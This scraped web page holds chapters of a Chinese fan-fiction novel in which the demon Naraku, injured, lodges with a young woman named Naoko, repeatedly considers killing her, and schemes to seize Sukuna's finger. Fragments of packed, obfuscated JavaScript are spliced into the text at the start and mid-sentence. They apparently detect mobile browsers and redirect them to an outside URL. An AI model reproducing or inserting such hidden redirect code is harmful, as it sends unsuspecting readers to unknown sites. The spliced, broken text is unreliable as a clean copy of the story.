RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15882643|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咬紧牙关。 等他伤势好转，就把这个胆敢见证他狼狈的一面的女人杀掉，然后去找那个该死的绿衣服男人，再把宿傩的手指抢过来。 到那时候，他会成为这个世界上最强大的男人，得到想要的一切。 想到这里，他连脸色也不由得缓和两分。 奈绪子将他的神色变化看在眼里，一会儿皱眉一会儿笑的，不会是因为右腿瘫痪打击太大，得了失心疯吧…… 她也曾经在学校里听同学们讲过几个类似的案例。 虽然看起来他不至于就此成为残疾人士。 虽然这间出租房不大，但床榻离洗手间毕竟有一段距离，奈绪子藏在门后，清清嗓子，问：“那个，奈落，你需不需要我帮忙，上、上洗手间什么的？” 闻言，奈落缓慢转过头，朝她露出一个狰狞的表情，想杀掉这个女人的冲动更加强烈。 “走开。” 看样子是暂时不需要她的帮助，不过要是实在忍不住的时候，他该怎么办呢？ 单腿跳着去吗？ 好愚蠢的画面，奈绪子相信，如果能拍下这幅场景，应该足够让这位中二病贵公子记一辈子。 见她不动，他又横过来一眼，俨然一副把自己当主人的样子：“快滚。” 大门外传来有规律的敲门声，以及邻居浅野夫人温柔的呼唤：“奈绪子酱，你在吗？我们家今天买了些新鲜的樱桃，特意也给你送一份。” “啊，夫人，我马上就来！”奈绪子扭头警告他，“奈落，你别出来知道吗？” 她可没办法解释一个成年男人出现在她家里的事。 奈落似乎正准备冷笑一声表明自己的态度，不过下一秒，房门就在他面前砰的一声合上。 “抱歉浅野夫人，刚才在收拾东西……久等了吗？这位是……” 浅野夫人今天穿了一身正式的西装裙，手里挎着一个水果篮，身边还站着一位穿着高中生制服的少年。 他留着略长的刘海，比奈绪子要高上两个头。 与她对视上，他下意识地移开视线，轻咳一声，苍白而轻薄的面皮红了几分。 “这是犬子，我刚从他的家长会上回来。”浅野夫人笑着拍拍他，“这是川濑姐姐，你们还没见过面吧？” 他垂下眼，低声喊了句“川濑桑”。 见他不太乐意的样子，奈绪子主动打圆场：“这就是优树君吧？你好。” 浅野优树躲躲闪闪地往她的方向轻瞥一眼，很快又收回了视线。 看上去是运动类型的男子，但却意外的纯情呢。 浅野夫人很为儿子骄傲，从前聊天的时候难免会提起几句，说他成绩好，体育也好，按照计划，应该能和她上同一所大学。 送完樱桃，浅野夫人很快带着儿子转身回家。 社交还得讲究礼尚往来呢，趁着明天有空，奈绪子准备捣鼓着烤点饼干，然后给浅野家送去一些。 刚关上门，转过身来，就与阴险的奈落对上了视线。 “不是说了没事不要下床吗？腿都断了就安分点吧。你要不要吃点樱桃？” 他没说话。 既然不回答，那就是不吃，正好，她喜欢吃樱桃。 她一颗也不会留给这个穷酸抠门的中二病。 奈落不悦地看过来：“我要清洁一番，还有，给我准备一套干净的衣服。” 他身上的和服的确破破烂烂，细看还沾了不少泥点和灰尘。 “你准备单脚洗澡吗？” 听起来还怪好笑的。 话落，他就飞过来一个眼刀。 奈绪子独居，家里当然不会有成年男子的衣服；现在天色已晚，也不适合外出购买；更不能像邻居借。 她不由得懊恼自己的迟钝，买猪蹄的时候应该顺道把衣服也买了的。 翻箱倒柜半日，她才翻出来一件足够大的女式和服，丢给他： “虽然还是太小了点，但这应该是我所有的衣服里，最贴合你体型的一件了。” “你……的？”奈落的声音低沉下来，分不清是恼还是怒，他的手指在布料上轻柔地摩擦了一下，“你让我穿你的衣服？” 39.第三十九章 她无语道：“这种时候，你就不要纠结这个了吧。” 他的手一顿，左边眼下不知道什么时候出现了一颗黑色的泪痣，此刻正随着他眨眼的动作微微浮动。 在奈绪子的催促下，他踉跄着走进浴室，合上了玻璃门。 手里樱花色的和服散发着属于奈绪子的浅淡香味，刚才躺过她的床，所以闻起来格外熟悉。 鬼使神差的，他举起那件衣服，贴在鼻间轻嗅了一下。但很快他就回过神来，像触电一般把和服丢到了一旁的角落。 随着衣服落地的轻微动静，奈落眼下的泪痣跟着消失，眼底也浮起一股因被奈绪子牵制油然而生的恼怒。 活在他体内的那个下贱的鬼蜘蛛，居然对一个平平无奇的凡人生出了淫.欲，真够恶心的。 他一边冲着澡，一边低头盯着自己伤痕交错的身体，以及那条刚接上的伤腿。 最近真是诸事不顺。 好在，四魂之玉还在身上。 四魂之玉虽然威力强大，可收集碎片岂是一件简单的事，想合成完整的玉，至少需要百年的时间。 而现在他恰好见到了传言中的特级咒物——宿傩的手指。 对于普通的凡人来说，这是一枚危险的炸.弹，但对于他这种高等的妖来说，收入囊中就是如虎添翼。 匆匆洗完澡，他的视线划过角落里那件樱花色的和服，一顿。 等他穿回那身脏兮兮的藏青色和服走出浴室时，奈绪子还坐在沙发上看着什么无聊的肥皂剧，看上去简直毫无防备。 他阴着脸，一瘸一拐地走上前去。 花了大概两分钟的时间，奈落成功在她身后站定。那颗毛茸茸的脑袋背对着他，不需要花多少气力，就会在他手里砰的一声炸掉吧。 这么想着，他抬起手，轻放在她头顶。 毛茸茸的，比想象中还要蓬松得多。 奈绪子正看到有趣的部分，凶手其实是主角阿姨的哥哥，为了钱不惜杀了主角全家…… 在这种惊心动魄的时候，脑袋上突然放上来一只手。 理智还没回笼，她就像受惊的兔子似的迅速窜起，手里那盆樱桃跟着一个倒扣，撒了他一身。 奈落没有防备，苍白的下巴被她硬生生砸出一块淤青来。 “……奈落？你没事吧？”她反应过来，率先抱怨，“别在这种时候突然吓我啊。” 奈落本就阴翳的脸色愈发难看。 想弄死她的欲望如此强烈，如果不是考虑到有可能引起动乱，他会毫不犹豫地使用术法杀死她。 他死死咬紧牙关，就连额角的青筋也跟着抽搐，但下一秒，唇边却贴过来一个冰凉的东西。 他垂下眼，看见了满脸堆笑的奈绪子，她正往他嘴里塞一只看起来挺诱人的樱桃。 “很痛吗？我不是故意的，都怪你莫名其妙地站在我身后。”她讪笑，“别这样瞪着我，我说了只是不小心。” 聒噪。 他准备骂一句什么，然而嘴巴刚张开，就被她眼疾手快地把樱桃塞了进来，他一时架着，吃也不是，吐也不是。 她笑嘻嘻的：“邻居浅野夫人送的，很甜吧？” 这个愚蠢的笑脸看起来太令人不爽了。 奈落转过身，一言不发地往房间走。 改天再杀好了，今天已经错过了最佳的机会。 奈绪子还在他身后不依不饶地问：“不甜吗？要再来一只吗？” 也许她只有死的时候会安静点。 他仰躺在床上，闭目养神。 这个不大的房子里只有一间浴室，就在卧室内，他不得不忍受奈绪子洗澡的吵闹的水声。 老旧的楼房，就连砌墙用的钢筋水泥也是偷工减料的，几乎起不了一点隔音的作用，他甚至还能听见她哼歌的声音。 浴室玻璃门上浮起雾气，只能模模糊糊看见一个白皙的轮廓，但正是因为什么也看不清，才分外惹人遐想。 体内的鬼蜘蛛又开始蠢蠢欲动，奈落闭上眼睛，试图忽略耳边黏腻的水声。 奈绪子并不知道他在想些什么。 虽然她有点过度善良，但好在还是有一点保护自己的意识，她兜里还揣着高中时雨宫君送她的防狼喷雾和匕首。 假如这个中二病真的不识好歹，胆敢拖着自己的瘸腿对她下手，她也一定会毫不留情……一定。 她穿了件盖得严严实实的睡衣，边擦着头发，边从浴室里走出来。 奈落的视线在她身上一掠而过，奈绪子这才发现，他左眼下不知道什么时候多了颗泪痣。 是没注意到吗？之前感觉还没有的。 奈绪子这才发现他根本就没穿她给的和服：“你那身衣服已经脏了吧，就这么躺在我的床上，可真够邋遢的啊。” “滚出去。”他掀起眼帘横她一眼，从牙缝里挤出这几个恶狠狠的字。 也许是因为刚洗完澡，她裸露在外的皮肤都表现出一种迷人的淡粉色，半潮湿的衣物紧贴着她的小臂、腰身和大腿。 真够没礼貌的，难怪断了一条腿。 她噔噔噔地出了客厅。 奈落倚靠在床头，眼下的泪痣忽隐忽现，那把火烧得他焦灼难耐，低下头的时候，才发现衣襟前不知道什么时候淌下了两行血迹。 他流鼻血了。 不，应该说，是鬼蜘蛛流鼻血了。 他青筋直跳，让他这么丢脸，果然这女人还是杀了更好。 奈绪子卷着铺盖，蜷缩在沙发上平躺着。 忙碌了一个晚上，她早就又累又困，刚挨上沙发，就沉沉地睡下。 月光透过阳台投射进来，照出站在沙发边那道若隐若现的黑影。 奈落垂眼看着她，她正毫无防备地睡着，呼吸清浅而绵长。 他忍不住伸出手，掐住了她的脖颈。 手下血管搏动的触感温热而鲜活，只要稍稍用力，这条脖颈就会断开，她会就此没了生息。 …… 叮铃铃—— 桌上的手机铃声响起，奈绪子不情不愿地睁开眼，从沙发上爬了起来。 也许是因为对这沙发还不太适应，她睡得浑身酸痛，就连脖颈处也传来一股陌生的锐痛感。 今天是周末，她早起坐公交到商业街买了些材料，准备烤一些小饼干，然后给邻居浅野夫人送去一份。 －－毕竟太贵的东西，她也送不起。 不过等到回到家，她才发现自己完全忘了家里还有个不速之客的事实，只好回头给他买了几身还过得去的便宜衣服。 总之在他饿死的前一秒，奈绪子紧急给他投喂了一份隔夜三明治－－因为这个便宜。 至于昨晚剩下的猪蹄，她准备中午热一热再端给他吃。 拿到新衣服的奈落颇为不可置信，将这几块布料上上下下翻看了一遍：“这是给我准备的衣服？” 说起来实在是幸运，奈绪子正好赶上大卖场打折，还顺道抢购了不少打折男式胖次。 虽然说款式老土——很有可能是给中老年人穿的——但实在实惠，稍不注意她就多买了两件。 “不用客气，都可以穿哦。都是全新的，我已经都检查过了。” 他咬紧牙关：“你大清早出门，就是为了买这些无用的东西？” “如果不怕自己臭掉的话，你不换也没有关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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奈绪子没和他聊过几句话，一时有些尴尬：“这是，为了感谢浅野夫人而送的小礼物，是我烤的饼干，还请不要嫌弃。” 他蜡白的薄唇轻抿了一下，声音很淡：“谢谢。” “不客气。” 说着，她把饼干往前递了递，浅野优树垂下眼，双手将小礼盒接过。 动作间，两人的指尖不经意间轻触了一下，他立刻颤抖着后退一步，像过电似的红了脸。 “你没事……”关心的话没问完，铁门就在她眼前砰的一声拉上，“……吧。” 浅野优树抱着那盒散发着奶香味的小饼干，倚靠着墙壁喘息。 等他缓过神来，再拉开铁门往外看的时候，已经没了奈绪子的影子。 奈绪子当然是回到了出租屋里。 不过刚进门，她就被等在门口的奈落拦住，凑上来嗅了嗅。他随手拿起一个用来降温的小水瓶，往她脸上喷了两下。 “你身上的味道，闻起来可真恶心。” 是可忍孰不可忍。 她笑眯眯地点点头，而后恶狠狠地往他那条伤腿上踹了一脚：“请给我客气点，不要软饭硬吃，知道吗？还有，我每天都有按时洗澡！” 奈落疼得闷哼一声，再抬起眼时，连眼底都浮起一抹阴翳。 早知道就不该心软的。 他随手把一封信丢下，转身往房间的方向走。 “这大概是你的情夫给你寄来的信，警告你再不回家就死定了。我不过是出来帮你签收。” “我哪里来的……”看见寄件人的名字，她一顿，“……情夫。” 这是她那性情大变的竹马寄来的信，准确来说，是血书。 暗红色的字体在白色信纸上蜿蜒，细看去，还能看清笔尖停顿时的滴状残留。 是血的味道，这个疯子。